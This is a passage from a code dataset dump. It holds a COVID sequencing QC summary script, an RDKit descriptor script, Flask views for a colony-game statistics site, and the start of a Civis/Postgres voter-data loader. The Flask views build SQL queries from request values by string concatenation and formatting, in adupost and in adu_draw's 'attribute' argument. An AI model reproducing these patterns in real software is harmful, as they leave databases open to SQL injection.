seq_run_date_str, \"%y%m%d\")\n seq_run_datetime_str = f\"{seq_run_date.strftime('%Y-%m-%d')} \" \\\n f\"00:00:00+00:00\"\n except: # noqa: E722\n warnings.warn(f\"Unable to parse date from seq_run '{seq_run}\")\n\n return seq_run_datetime_str\n\n\ndef _add_sequencing_info_inplace(merged_summaries_df):\n num_rows = len(merged_summaries_df)\n no_existing_info_mask = pd.Series(True, index=range(num_rows))\n\n if SEQUENCING_TECH_KEY in merged_summaries_df.columns:\n no_existing_tech_mask = merged_summaries_df[SEQUENCING_TECH_KEY].isna()\n else:\n no_existing_tech_mask = no_existing_info_mask\n\n se_or_pe_mask = merged_summaries_df[SE_OR_PE_KEY].isin(\n [SE_VALUE, PE_VALUE]) & no_existing_tech_mask\n merged_summaries_df.loc[se_or_pe_mask, SEQUENCING_TECH_KEY] = \\\n ILLUMINA_TECH\n\n bam_mask = ((merged_summaries_df[SE_OR_PE_KEY] == BAM_VALUE) &\n no_existing_tech_mask)\n merged_summaries_df.loc[bam_mask, SEQUENCING_TECH_KEY] = \\\n GENEXUS_TECH\n\n if SAMPLE_SEQ_DATETIME in merged_summaries_df.columns:\n no_existing_run_date_mask = merged_summaries_df[SAMPLE_SEQ_DATETIME].isna()\n else:\n no_existing_run_date_mask = no_existing_info_mask\n seq_runs = merged_summaries_df.loc[:, SEQ_RUN_KEY]\n run_dates = seq_runs.map(_parse_seq_run_date)\n merged_summaries_df.loc[no_existing_run_date_mask, SAMPLE_SEQ_DATETIME] = \\\n run_dates[no_existing_run_date_mask]\n\n\ndef expand_with_added_fa_names(merged_summaries_df, added_fa_names_fp):\n fas_col_name = \"fasta_id\"\n\n # read this in as a tsv (even though just one column) bc some of these\n # names have commas in them so can't read as csv ...\n added_fastq_ids_df = pd.read_csv(added_fa_names_fp, sep=\"\\t\", dtype=str)\n\n # add a column marking these as historic or reference\n added_fastq_ids_df[IS_HIST_OR_REF] = True\n\n # make a column to hold the sequenced pool component id;\n # for these added ids, punt to this being the same as the fas name\n added_fastq_ids_df[SEQ_POOL_COMP_ID] = added_fastq_ids_df[fas_col_name]\n\n # also copy it into \"Sample\" column for now, just so it has something there\n added_fastq_ids_df[SAMPLE_NAME] = added_fastq_ids_df[fas_col_name]\n\n # rename the \"fasta_id\" column \"consensus_seq_name\"\n added_fastq_ids_df.rename(\n columns={fas_col_name: CONS_NAME}, inplace=True)\n\n expanded_df = merged_summaries_df.merge(\n added_fastq_ids_df,\n left_on=[CONS_NAME, SAMPLE_NAME, SEQ_POOL_COMP_ID],\n right_on=[CONS_NAME, SAMPLE_NAME, SEQ_POOL_COMP_ID], how=\"outer\")\n expanded_df.fillna({CONS_NAME: ''}, inplace=True)\n expanded_df.fillna({IS_HIST_OR_REF: False}, inplace=True)\n\n # add a \"modded_consensus_seq_name\" col;\n # this used to be necessary because before pangolin 4+,\n # pangolin irreversibly munged consensus sequence names.\n # Pangolin 4 removes this munge, but later joins/etc are based on\n # this column, so it is easier to keep it than remove it.\n expanded_df[MOD_CONS_NAME] = expanded_df[CONS_NAME]\n\n return expanded_df\n\n\ndef add_final_qc_filters_inplace(qc_and_lineage_w_search_ids_df):\n MAPPED_READS_KEY = \"mapped_reads\"\n MAPPED_LT_50K_KEY = \"mapped_reads_lt_50k\"\n UNCAPPED_READS_KEY = \"Uncapped_Reads\"\n UNCAPPED_LT_100K_KEY = \"uncapped_reads_lt_100k\"\n SUB_MAP_KEY = \"Sub_Map_Pct_Aligned\"\n SUB_MAP_LT_50_KEY = \"sub_map_pct_aligned_lt_50\"\n P25_KEY = \"P25_Ins_size\"\n P25_LT_140_KEY = \"p25_ins_size_lt_140\"\n PCT_Q30_KEY = \"Pct_Q30\"\n PCT_Q30_LT_90_KEY = \"percent_q30_lt_90\"\n COV_GTE_10_KEY = \"coverage_gte_10_reads\"\n COV_GTE_10_LT_95_KEY = \"coverage_gte_10_reads_lt_95\"\n MEAN_COV_KEY = \"mean_coverage\"\n MEAN_COV_LT_500_KEY = \"mean_coverage_lt_500\"\n\n keypairs = [(MAPPED_READS_KEY, MAPPED_LT_50K_KEY, lambda a: a < 50000),\n (UNCAPPED_READS_KEY, UNCAPPED_LT_100K_KEY, lambda a: a < 100000),\n (SUB_MAP_KEY, SUB_MAP_LT_50_KEY, lambda a: a < 50),\n (P25_KEY, P25_LT_140_KEY, lambda a: a < 140),\n (PCT_Q30_KEY, PCT_Q30_LT_90_KEY, lambda a: a < 90),\n (COV_GTE_10_KEY, COV_GTE_10_LT_95_KEY, lambda a: a < 0.95),\n (MEAN_COV_KEY, MEAN_COV_LT_500_KEY, lambda a: a < 500)]\n\n any_fail_values = None\n for curr_tuple in keypairs:\n value_key = curr_tuple[0]\n comp_key = curr_tuple[1]\n comp_func = curr_tuple[2]\n\n # make a new column holding the comparison result\n qc_and_lineage_w_search_ids_df.loc[:, comp_key] = \\\n (qc_and_lineage_w_search_ids_df[value_key].apply(comp_func))\n\n # build up the series holding values for the new any_fail column\n # by or-ing it together with each new comparison; note that for now,\n # the comparison columns are numpy bools, which treat NaN as False, so\n # if a value is missing, we assume it does NOT fail that value's check\n if any_fail_values is None:\n any_fail_values = qc_and_lineage_w_search_ids_df[comp_key]\n else:\n # NB: the \"pd.Series\" here is actually unnecessary (any_fail_values\n # is already a Series) but without it pycharm's linter can't tell\n # this is a pandas operation and so gives a spurious fatal error:\n # \"Python version 3.9 does not allow writing union types as X | Y\"\n any_fail_values = pd.Series(any_fail_values) | \\\n qc_and_lineage_w_search_ids_df[comp_key]\n\n # NOW convert new comparison column to \"boolean\"\n # NB: NOT \"bool\"--\"bool\" is a numpy type that can't be nullable,\n # whereas \"boolean\" is a pandas type that *can* be nullable\n qc_and_lineage_w_search_ids_df[comp_key] = \\\n qc_and_lineage_w_search_ids_df[comp_key].astype(\"boolean\")\n\n # if the underlying value being compared is NaN, reset the\n # (now nullable!) comparison result to None instead of False;\n # note this is done AFTER the any_fail comparison, just so we *know*\n # we had no value for these comparisons and thus assumed false for 'em\n # when calculating any_fail\n qc_and_lineage_w_search_ids_df.loc[\n qc_and_lineage_w_search_ids_df[value_key].isna(), comp_key] = None\n # next comparison\n\n # generally, any_fail should treat comparisons based on missing values\n # as false (not failing) as it does above. The exception is when ALL the\n # values are missing, in which case any_fail should also be missing\n # as we have ZERO info on it:\n\n # get subset of dataframe containing all (and only) the comparison columns\n comp_keys = [x[1] for x in keypairs]\n comparisons_df = qc_and_lineage_w_search_ids_df.loc[:, comp_keys]\n\n # make a mask id-ing rows for which ALL the comparison values\n # are None; these should have None for their any_fail value, too\n all_none_mask = comparisons_df.isna().all(axis=1) # 1 means column\n any_fail_values = any_fail_values.astype(\"boolean\")\n any_fail_values[all_none_mask] = None\n\n # finally, add the new any_fail column to the output dataframe\n qc_and_lineage_w_search_ids_df.loc[:, ANY_FAIL_KEY] = any_fail_values\n\n # now set the overall_fail value;\n # some older records may not *have* an n metric;\n # these should NOT be overall fails\n # TODO: how should overall_fail act if any_fail is None?\n # as of now, if n_metric fail is false and any_fail is None,\n # overall_fail will also be None, whereas if the n_metric check\n # fails, overall_fail will be True even if any_fail is None.\n # Note that if n_metric is missing, the n_metric fail will be False here.\n qc_and_lineage_w_search_ids_df.loc[:, OVERALL_FAIL_KEY] = \\\n (qc_and_lineage_w_search_ids_df[ANY_FAIL_KEY] |\n (qc_and_lineage_w_search_ids_df[\"n_metric\"] > 19))\n\n\ndef create_lineages_summary(arg_list):\n added_fa_names_fp = arg_list[1]\n run_summaries_fp = arg_list[2]\n run_summary_suffix = arg_list[3]\n lineage_fp = arg_list[4]\n out_summary_fp = arg_list[5]\n\n merged_summaries_df = merge_summaries(run_summaries_fp, run_summary_suffix)\n merged_summaries_df.reset_index(inplace=True, drop=True)\n # infer sequencing tech and sequencing run date from summary info\n # TODO: implicit is bad, explicit is good. This info should really be\n # generated when the summaries are generated, from explicit inputs\n _add_sequencing_info_inplace(merged_summaries_df)\n\n expanded_summaries_df = expand_with_added_fa_names(\n merged_summaries_df, added_fa_names_fp)\n\n # Load pangolin file to a dataframe and\n # copy the \"taxon\" column into a new col named \"modded_consensus_seq_name\"\n # and rename the status column to a cview-specific name\n lineage_df = pd.read_csv(lineage_fp, dtype=str)\n lineage_df[MOD_CONS_NAME] = lineage_df[TAXON_KEY]\n lineage_df.rename(columns={PANGOLIN_STATUS_KEY: CVIEW_PANG_STATUS_KEY}, inplace=True)\n\n # outer merge expanded summaries with lineages (includes lines for\n # both samples that went through lineage calling and those that didn't)\n output_df = expanded_summaries_df.merge(\n lineage_df, left_on=MOD_CONS_NAME, right_on=MOD_CONS_NAME, how=\"outer\")\n\n # calculate usable_for: nothing, variant, variant_and_epidemiology\n fraction_coverage = output_df['coverage_gte_10_reads'].astype(float)\n # believe checking as below should exclude NAs ...\n passes_pangolin = output_df[CVIEW_PANG_STATUS_KEY] == PASSES_PANG_STATUS_KEY\n gte_70_and_passes_pangolin = passes_pangolin & (fraction_coverage >= 0.70)\n gt_95_and_passes_pangolin = passes_pangolin & (fraction_coverage > 0.95)\n output_df[USABLE_NAME] = NOTHING_VAL\n output_df.loc[gte_70_and_passes_pangolin, USABLE_NAME] = VARIANT_VAL\n output_df.loc[gt_95_and_passes_pangolin, USABLE_NAME] = VARIANT_AND_EP_VAL\n\n # add additional src filter columns\n add_final_qc_filters_inplace(output_df)\n\n # sort to ensure deterministic output order\n output_df.sort_values(by=[SEARCH_ID, SEQ_POOL_COMP_ID], inplace=True)\n\n # there *shouldn't* be any rows in the lineage that aren't in the\n # expanded summaries ... if there are, something is wrong. Raise\n # an error (but *after* writing the output file, so we have some chance of\n # figuring out what went wrong). The most likely cause of this issue is\n # some records not being correctly matched up between the two data sources\n # during the outer join above.\n output_df.to_csv(out_summary_fp, index=False)\n if len(output_df) != len(expanded_summaries_df):\n raise ValueError(f\"Expected {len(expanded_summaries_df)} rows, \"\n f\"got {len(output_df)}\")\n\n\nif __name__ == '__main__':\n create_lineages_summary(argv)\n","repo_name":"ucsd-ccbb/C-VIEW","sub_path":"src/lineages_summary.py","file_name":"lineages_summary.py","file_ext":"py","file_size_in_byte":13963,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"20885378195","text":"\nfrom rdkit import Chem\nfrom rdkit.Chem import Descriptors\nimport argparse\nfrom rdkit import RDLogger \nRDLogger.DisableLog('rdApp.*')\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-i', '--ifile', type=str, required=True,\n help='druglike_molecules.smi')\nparser.add_argument('-o', '--ofile', type=str, required=True,\n help='')\nargs = parser.parse_args()\n\n\ndescriptors = {}\nwith open(args.ifile, 'r') as f:\n for l in f:\n cols = l.split()\n gen_smi, idx = cols\n m = Chem.MolFromSmiles(gen_smi)\n if m is None:\n continue\n natoms = m.GetNumAtoms()\n mw = round(Descriptors.ExactMolWt(m), 2)\n hbd = Descriptors.NumHDonors(m)\n hba = Descriptors.NumHAcceptors(m)\n tpsa = round(Descriptors.TPSA(m), 2)\n logp = round(Descriptors.MolLogP(m), 2)\n nrot = Descriptors.NumRotatableBonds(m)\n # remove duplicates\n descriptors[gen_smi] = (tpsa, mw, hbd, hba, logp, nrot, natoms)\n\n\n\nwith open(args.ofile, 'w') as of:\n of.write('gen_dl\\ttpsa\\tmw\\thbd\\thba\\tlogp\\tnrot\\tnatoms\\n')\n\n for gen_smi, desc in descriptors.items():\n of.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(\n gen_smi, *desc))\n\n","repo_name":"kimeguida/POEM","sub_path":"scripts/get_druglike_descriptors.py","file_name":"get_druglike_descriptors.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"31324313249","text":"from flask import render_template, Blueprint, session, request, make_response, abort, current_app\nimport os, MySQLdb, time, requests, json\nimport utilities\n\nadu_blueprint = Blueprint('adu', __name__, template_folder='templates', url_prefix='/adu')\n\n\ndef adu_safe_string(s):\n return s.replace(' ', '_').replace('.', '').replace(\"'\", '').replace(\"-\", '_')\n\n\ndef normalize_dict(d, safe=True):\n \"\"\"Returns dict formatted for insertion in Mysql DB\"\"\"\n if safe:\n return {adu_safe_string(k): d[k] for k in d if d[k]}\n else:\n return {k: d[k] for k in d if d[k]}\n\n\ndef old_normalize_dict(ddd):\n \"\"\"Deletes keys with None value\"\"\"\n keystodelete = []\n for key in ddd:\n if ddd[key] == 'NaN':\n ddd[key] = None\n if ddd[key] is None:\n keystodelete.append(key)\n for delkey in keystodelete:\n ddd.pop(delkey, None)\n return ddd\n\n\ndef patched_inserting(ctx, query, args):\n try:\n with ctx.app_context():\n utilities.query_db(query, args)\n except MySQLdb.Error as err:\n print('----\\nError inserting in adupost', err)\n print(query)\n print(args)\n print('----')\n\n\n@adu_blueprint.route('/adupost', methods=['POST', 'OPTIONS'])\ndef adupost():\n if request.method == 'OPTIONS':\n resp = make_response('this is the response to OPTIONS call.')\n resp.headers['Access-Control-Allow-Origin'] = '*'\n resp.headers[\n \"Access-Control-Allow-Headers\"] = \"Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With\"\n return resp\n if request.json['event'] == 'adupost':\n receiveddict = request.json['data']\n try:\n charter = receiveddict['colonyidentifier']['charter']\n name = receiveddict['colonyidentifier']['name']\n except KeyError:\n return 'Error charter or name not present'\n if type(charter) != str:\n return 'Error of charter'\n name = utilities.escapeString(name)\n timeref = receiveddict['timereference']['year'] + (receiveddict['timereference']['period'] / 60)\n treated = {}\n # there are 8 adu tables :\n # X identifier\n # N buildings\n # N resources (amounts + storage)\n # N vehicles\n # O stats\n # N salaries\n # O misc\n # N techs\n # buildings, resources, vehicles, techs and salaries are now json format in the db -> different treatement\n treated['buildings'] = normalize_dict(receiveddict['buildings'])\n treated['vehicles'] = normalize_dict(receiveddict['vehicles'])\n treated['techs'] = receiveddict['techs']\n treated['resources'] = {}\n treated['resources']['amounts'] = normalize_dict(receiveddict['resources']['amounts'])\n treated['resources']['storage'] = normalize_dict(receiveddict['resources']['storage'])\n treated['salaries'] = normalize_dict(receiveddict['misc']['salaries'])\n # old_normalize_dict creates a list of 2 elements list : [[\"Lander\", 1], [\"Auntie Bells ...\", 5], ...]\n # this is for stats and misc\n receiveddict['stats'] = old_normalize_dict(receiveddict['stats'])\n receiveddict['misc'] = old_normalize_dict(receiveddict['misc'])\n stlist = [[k, receiveddict['stats'][k]] for k in receiveddict['stats']]\n stlistkeys = [k[0] for k in stlist]\n stlistvalues = [str(k[1]) for k in stlist]\n # X (IDENTIFIER) INSERTING\n if receiveddict['colonyidentifier']['subregion']:\n issubregion = '1'\n else:\n issubregion = '0'\n t_query = 'insert into adu_identifier (charter, timereference, name, ape_account, issubregion) values (\"' + charter + '\", ' + str(\n timeref) + ', \"' + name + '\", %s, ' + issubregion + ')'\n try:\n resp = utilities.query_db(t_query, (receiveddict['colonyidentifier']['account'],), return_lastrowid=True)\n entryid = str(resp[1])\n except MySQLdb.Error as err:\n print('error in adupost- identifier inserting:', err)\n print('query :', t_query)\n return 'error 1'\n # O (stats) INSERTING\n current_query = 'no current query'\n try:\n if len(stlistkeys) > 0:\n current_query = 'insert into adu_stats (entryid, ' + ', '.join(\n stlistkeys) + ') values (' + entryid + ', ' + ', '.join(stlistvalues) + ')'\n utilities.query_db(current_query)\n except Exception as err:\n print(time.ctime(), \"- adupost, error in sql inserting, query :---\", current_query, \"--- for\", charter, \"(\",\n name, \") :\", err)\n # O (misc) INSERTING\n if receiveddict['misc']['privateCharter']:\n privatecharter = '1'\n else:\n privatecharter = '0'\n try:\n workerPolicy = receiveddict['misc']['workerPolicy']\n except KeyError:\n workerPolicy = -1\n ctx = current_app._get_current_object()\n patched_inserting(ctx,\n 'insert into adu_misc values (%s, %s, %s, %s, %s ,%s, %s, %s, %s, %s)',\n (entryid, str(receiveddict['misc']['governmentLevel']), str(receiveddict['misc']['width']),\n str(receiveddict['misc']['height']), privatecharter, str(workerPolicy),\n str(receiveddict['misc']['powerusage']), str(receiveddict['misc']['powertotal']),\n str(receiveddict['misc']['bandwidthusage']), str(receiveddict['misc']['bandwidthtotal'])))\n # N (buildings, vehicles, resources, techs and salaries) INSERTING\n patched_inserting(ctx, 'insert into adu_buildings values (%s, %s)', (entryid, json.dumps(treated['buildings'])))\n patched_inserting(ctx, 'insert into adu_vehicles values (%s, %s)', (entryid, json.dumps(treated['vehicles'])))\n patched_inserting(ctx, 'insert into adu_techs values (%s, %s)', (entryid, json.dumps(treated['techs'])))\n patched_inserting(ctx, 'insert into adu_resources values (%s, %s, %s)',\n (entryid, json.dumps(treated['resources']['amounts']),\n json.dumps(treated['resources']['storage'])))\n patched_inserting(ctx, 'insert into adu_salaries values (%s, %s)', (entryid, json.dumps(treated['salaries'])))\n resp = make_response('ok')\n resp.headers['Access-Control-Allow-Origin'] = '*'\n return resp\n if request.json['event'] == 'regiondeleted':\n receivedname = request.json['name']\n receivedchar = request.json['charter']\n if receivedname != '':\n resp = utilities.query_db('select entryid from adu_identifier where name=%s and charter=%s',\n (receivedname, receivedchar))\n entryid_todelete = [str(k[0]) for k in resp]\n print('adupost - from ', receivedname, receivedchar, 'deleting entries : ', entryid_todelete)\n if len(entryid_todelete) < 1:\n print('adupost - no entries : deleting nothing')\n else:\n utilities.query_db('delete from adu_identifier where entryid in (' + ','.join(entryid_todelete) + ')')\n utilities.query_db('delete from adu_misc where entryid in (' + ','.join(entryid_todelete) + ')')\n utilities.query_db('delete from adu_buildings where entryid in (' + ','.join(entryid_todelete) + ')')\n utilities.query_db('delete from adu_vehicles where entryid in (' + ','.join(entryid_todelete) + ')')\n utilities.query_db('delete from adu_resources where entryid in (' + ','.join(entryid_todelete) + ')')\n utilities.query_db('delete from adu_stats where entryid in (' + ','.join(entryid_todelete) + ')')\n utilities.query_db('delete from adu_salaries where entryid in (' + ','.join(entryid_todelete) + ')')\n resp = make_response('ok')\n else:\n resp = make_response('Error empty name')\n resp.headers['Access-Control-Allow-Origin'] = '*'\n return resp\n if request.json['event'] == 'namechanged':\n receivedoldname = request.json['oldname']\n receivednewname = request.json['newname']\n receivedchar = request.json['charter']\n if receivedoldname != '' and receivednewname != '' and receivedchar != '':\n print('adupost - from old name', receivedoldname, 'to new name', receivednewname, 'renaming charter : ',\n receivedchar)\n utilities.query_db('update adu_identifier set name=%s where name=%s and charter=%s',\n (receivednewname, receivedoldname, receivedchar))\n resp = make_response('ok')\n else:\n resp = make_response(\n 'Error empty arguments :' + receivedoldname + ', ' + receivednewname + ', ' + receivedchar)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n return resp\n return 'Error bad event'\n\n\ndef notNoneList(li):\n \"\"\"returns False if the list contains only None values\"\"\"\n for i in li:\n if i is not None:\n return True\n return False\n\n\ndef separateCities(li, etn, limiter=-1):\n fl = {}\n for i in li:\n if etn[i['entryid']]['name'] not in fl.keys():\n fl[etn[i['entryid']]['name']] = []\n if limiter > -1:\n if len(fl[etn[i['entryid']]['name']]) < limiter:\n fl[etn[i['entryid']]['name']].append(i)\n else:\n fl[etn[i['entryid']]['name']].append(i)\n return normalize_cities_dict(fl)\n\n\ndef normalize_cities_dict(dd):\n nd = {}\n for city in dd:\n nd[city] = []\n for entry in dd[city]:\n nd[city].append(normalize_dict(entry))\n return nd\n\n\n@adu_blueprint.route('/', methods=['GET', 'POST'])\n@utilities.test_login\ndef adu_index(logged_in):\n # get badges\n resp = utilities.query_db('select roledesc, ape_account, color from users_roles')\n badges_catalog = {}\n for i in resp:\n if i[1] not in badges_catalog.keys():\n badges_catalog[i[1]] = []\n badges_catalog[i[1]].append(\n {'badgename': ''.join([k[0] for k in i[0].split(' ') if k[0].isupper()]), 'color': i[2]})\n return render_template('adu_index.html', logged_in=logged_in, badges_catalog=badges_catalog)\n\n\n@adu_blueprint.route('/', methods=['GET'])\n@utilities.test_login\ndef adu_view(logged_in, charter):\n resp = utilities.query_db(\n 'select b.name, a.timestamp, a.timereference, a.ape_account, b.e from adu_identifier as a inner join (select name, max(entryid) as e from adu_identifier where charter=%s group by name) as b on a.entryid=b.e order by a.timestamp desc;',\n (charter,))\n try:\n owner = resp[0][3]\n except IndexError:\n abort(404)\n return\n\n if not owner:\n # cant be displayed for some reason (double-attributed charter maybe)\n owner = ''\n\n cities_list = [{'name': k[0], 'lasttimestamp': k[1].timestamp(), 'lasttimereference': k[2]} for k in resp]\n entries_list = [str(k[4]) for k in resp]\n entries_to_citynb = {resp[i][4]: i for i in range(len(resp))}\n\n resp = utilities.query_db('select gdp, population, approval, unemployment, entryid from adu_stats where entryid '\n 'in ({}) order by entryid desc'.format(', '.join(entries_list)))\n for row in resp:\n t_citynb = entries_to_citynb[row[4]]\n cities_list[t_citynb]['gdp'] = row[0]\n cities_list[t_citynb]['population'] = row[1]\n cities_list[t_citynb]['approval'] = row[2]\n cities_list[t_citynb]['unemployment'] = row[3]\n\n if len(cities_list) < 1:\n return 'Colony not registered.'\n\n # get badges\n resp = utilities.query_db('select roledesc, ape_account, color from users_roles')\n badges_catalog = {}\n for i in resp:\n if i[1] not in badges_catalog.keys():\n badges_catalog[i[1]] = []\n badges_catalog[i[1]].append(\n {'badgename': ''.join([k[0] for k in i[0].split(' ') if k[0].isupper()]), 'color': i[2]})\n # get colony name\n resp = utilities.query_db('SELECT name FROM colonies_hist a'\n 'INNER JOIN ( SELECT MAX(time) rev FROM colonies_hist where charter=%s ) b ON '\n 'time = b.rev and charter=%s', (charter, charter))\n try:\n name = resp[0][0]\n except IndexError:\n # ask Bast's server\n resp = requests.get(url='https://mc1.my-colony.com/api.php?pf=2&g=1&c=' + charter)\n try:\n name = resp.json()['name']\n except ValueError:\n name = ''\n\n return render_template('adu.html', charter=charter, cities_list=cities_list, logged_in=logged_in, owner=owner,\n badges_catalog=badges_catalog, name=name)\n\n\ndef treat_resp(resp, field, attribute):\n if field in ['ra', 'rs', 'bd', 'vh', 'sl']:\n # resp = ((timestamp, json data), (timestamp, {'res 1': amount 1, 'res 2':...}))\n attributes_done = []\n attribute_chart = {} # {'attribute 1':[[timestamp*1000, amount 1]], ...}\n if attribute == 'All':\n for row in resp:\n d = json.loads(row[1])\n for attr in d:\n if not attr in attributes_done:\n attribute_chart[attr] = []\n attributes_done.append(attr)\n attribute_chart[attr].append([row[0] * 1000, d[attr]])\n else:\n attribute_chart[attribute] = []\n for row in resp:\n try:\n d = int(row[1])\n except ValueError:\n try:\n d = float(row[1])\n except (TypeError, ValueError):\n continue\n attribute_chart[attribute].append([row[0] * 1000, d])\n return [{'id': 'series', 'name': attr.replace('_', ' '), 'data': attribute_chart[attr]} for attr in\n attribute_chart]\n elif field in ['st']:\n if attribute == 'All':\n columns = resp[1]\n all_contents = [{columns[index][0]: column for index, column in enumerate(value)} for value in resp[0]]\n ch_contents = []\n # build all building names\n attributeslist = []\n for e in all_contents: # e is a dict\n for a in e: # a is a key (attribute)\n if a not in attributeslist:\n attributeslist.append(a)\n # then build all series\n for a in attributeslist:\n if a in ['unix_timestamp(timestamp)', 'entryid']: continue\n if notNoneList([k[a] for k in all_contents]):\n thyu = []\n for k in all_contents:\n try:\n thyu.append([k['unix_timestamp(timestamp)'] * 1000, k[a]])\n except KeyError:\n pass\n # ch_contents.append({ 'id' :'series','name': i,'data': [[timedict[k['Name']][k['Timereference']]*1000, k[i]] for k in all_contents]})\n ch_contents.append({'id': 'series', 'name': a.replace('_', ' '), 'data': thyu})\n for i in range(len(ch_contents)):\n ch_contents[i]['data'].sort(key=lambda x: x[0])\n return ch_contents\n else:\n attribute = adu_safe_string(attribute)\n ch_contents = [{'id': 'series', 'name': attribute.replace('_', ' '),\n 'data': [[k[0] * 1000, k[1]] for k in resp]}]\n for i in range(len(ch_contents)):\n ch_contents[i]['data'].sort(key=lambda x: x[0])\n return ch_contents\n else:\n return []\n\n\n@adu_blueprint.route('//draw', methods=['GET'])\n@utilities.test_login\ndef adu_draw(logged_in, charter):\n try:\n field = request.args['field']\n attribute = request.args['attribute']\n except KeyError:\n abort(400)\n return\n if field not in ['bd', 'ra', 'rs', 'vh', 'sl', 'st']:\n return 'Invalid request : ' + field\n try:\n name = request.args['name']\n except KeyError:\n name = False\n if field in ['ra', 'rs', 'bd', 'vh', 'sl']:\n query_column = {'bd': 'buildings',\n 'vh': 'vehicles',\n 'ra': 'amounts',\n 'rs': 'storage',\n 'sl': 'salaries'}[field]\n query_table = {'bd': 'adu_buildings',\n 'vh': 'adu_vehicles',\n 'ra': 'adu_resources',\n 'rs': 'adu_resources',\n 'sl': 'adu_salaries'}[field]\n try:\n if name and attribute == 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), {} from {} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s and name=%s order by timestamp asc'.format(\n query_column, query_table), (charter, name))\n elif name and attribute != 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), {}->\"$.{}\" from {} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s and name=%s order by timestamp asc'.format(\n query_column, attribute, query_table), (charter, name))\n elif not name and attribute == 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), {} from {} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s order by timestamp asc'.format(\n query_column, query_table), (charter,))\n elif not name and attribute != 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), {}->\"$.{}\" from {} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s order by timestamp asc'.format(\n query_column, attribute, query_table), (charter,))\n else:\n resp = []\n except MySQLdb.Error as err:\n print(err)\n abort(400)\n return\n elif field in ['st']:\n rn = {'st': 'stats'}[field]\n try:\n if name and attribute == 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), a.* from adu_{} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s and name=%s order by timestamp asc'.format(rn),\n (charter, name), return_description=True)\n elif name and attribute != 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), a.{} from adu_{} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s and name=%s order by timestamp asc'.format(attribute, rn),\n (charter, name))\n elif not name and attribute == 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), a.* from adu_{} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s order by timestamp asc'.format(rn),\n (charter,), return_description=True)\n elif not name and attribute != 'All':\n resp = utilities.query_db(\n 'select unix_timestamp(timestamp), a.{} from adu_{} as a join adu_identifier as b on '\n 'b.entryid=a.entryid where charter=%s order by timestamp asc'.format(attribute, rn),\n (charter,))\n else:\n resp = []\n except MySQLdb.Error as err:\n print(err)\n abort(400)\n return\n else:\n resp = []\n ch_contents = treat_resp(resp, field, attribute)\n return render_template('adu_chart.html', charter=charter, attribute=attribute, chartseries=ch_contents,\n logged_in=logged_in)\n","repo_name":"ultimepipolo/coloniae-public","sub_path":"application/adu/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16017718371","text":"import os\nimport civis\nimport csv\nfrom psycopg2.extensions import AsIs\nfrom common import yes_no\nfrom services import Postgres\nfrom dotenv import load_dotenv\nfrom constants import voter_demographics_keys, consolidated_demographics_keys, survey_responses_keys, qid_question_map, rid_response_map\n\n\ndef transform_survey_data(path):\n voters = {}\n with open(path) as f:\n for row in csv.DictReader(f):\n if voters.get(row['registration_number']):\n question = qid_question_map[row['survey_question_id']]\n response = rid_response_map[row['survey_response_id']]\n voters[row['registration_number']][question] = response\n voters[row['registration_number']][f'{question}_date'] = row['date_canvassed']\n else:\n question = qid_question_map[row['survey_question_id']]\n response = rid_response_map[row['survey_response_id']]\n voters[row['registration_number']] = {\n 'registration_number': row['registration_number'],\n 'myv_van_id': row['myv_van_id'],\n question: response,\n f'{question}_date': row['date_canvassed'],\n 'number_attempts': row['number_attempts'],\n 'phone_attempts': row['phone_attempts'],\n 'text_attempts': row['text_attempts'],\n 'number_canvasses': row['number_canvasses'],\n 'phone_canvasses': row['phone_canvasses'],\n 'text_canvasses': row['text_canvasses'],\n 'most_recent_contact_attempt': None if row['most_recent_contact_attempt'] == '' else row['most_recent_contact_attempt']\n }\n for _, v in qid_question_map.items():\n if v == question:\n continue\n voters[row['registration_number']][v] = None\n voters[row['registration_number']][f'{v}_date'] = None\n return voters\n\n\ndef check_for_van_numbers():\n numbers = {}\n with open('phones/for_dashboard_van_phones.csv') as f:\n for row in csv.DictReader(f):\n if row.get('Pref Phone '):\n numbers[int(row['Voter File VANID'])] = row.get('Pref Phone ')\n\n with Postgres(**postgres_args) as cursor:\n for van_id, number in numbers.items():\n query = (\n 'UPDATE voter_demographics '\n 'SET van_phone = %s '\n 'WHERE van_id = %s'\n )\n cursor.execute(query, (number, van_id))\n\n\ndef main():\n voter_data = ('ia_sos_county_all_rejected', 'voter_demographics', voter_demographics_keys)\n demographics_data = ('ia_sos_all_demographic_data', 'consolidated_demographics', consolidated_demographics_keys)\n survey_data = ('ia_sos_rejected_van_data', 'survey_responses', survey_responses_keys)\n\n for civis_table, sql_table, keys in [voter_data, demographics_data, survey_data]:\n path = f'from_civis_{civis_table}.csv'\n\n if os.path.exists(path):\n os.remove(path)\n\n query = (\n 'SELECT * '\n f'FROM states_ia_projects.{civis_table}'\n )\n\n fut = civis.io.civis_to_csv(\n filename=path,\n sql=query,\n database='Dover',\n )\n fut.result()\n\n with Postgres(**postgres_args) as cursor:\n # delete existing rows\n cursor.execute(f'DELETE FROM {sql_table}')\n\n if sql_table == 'survey_responses':\n for voter_id, row in 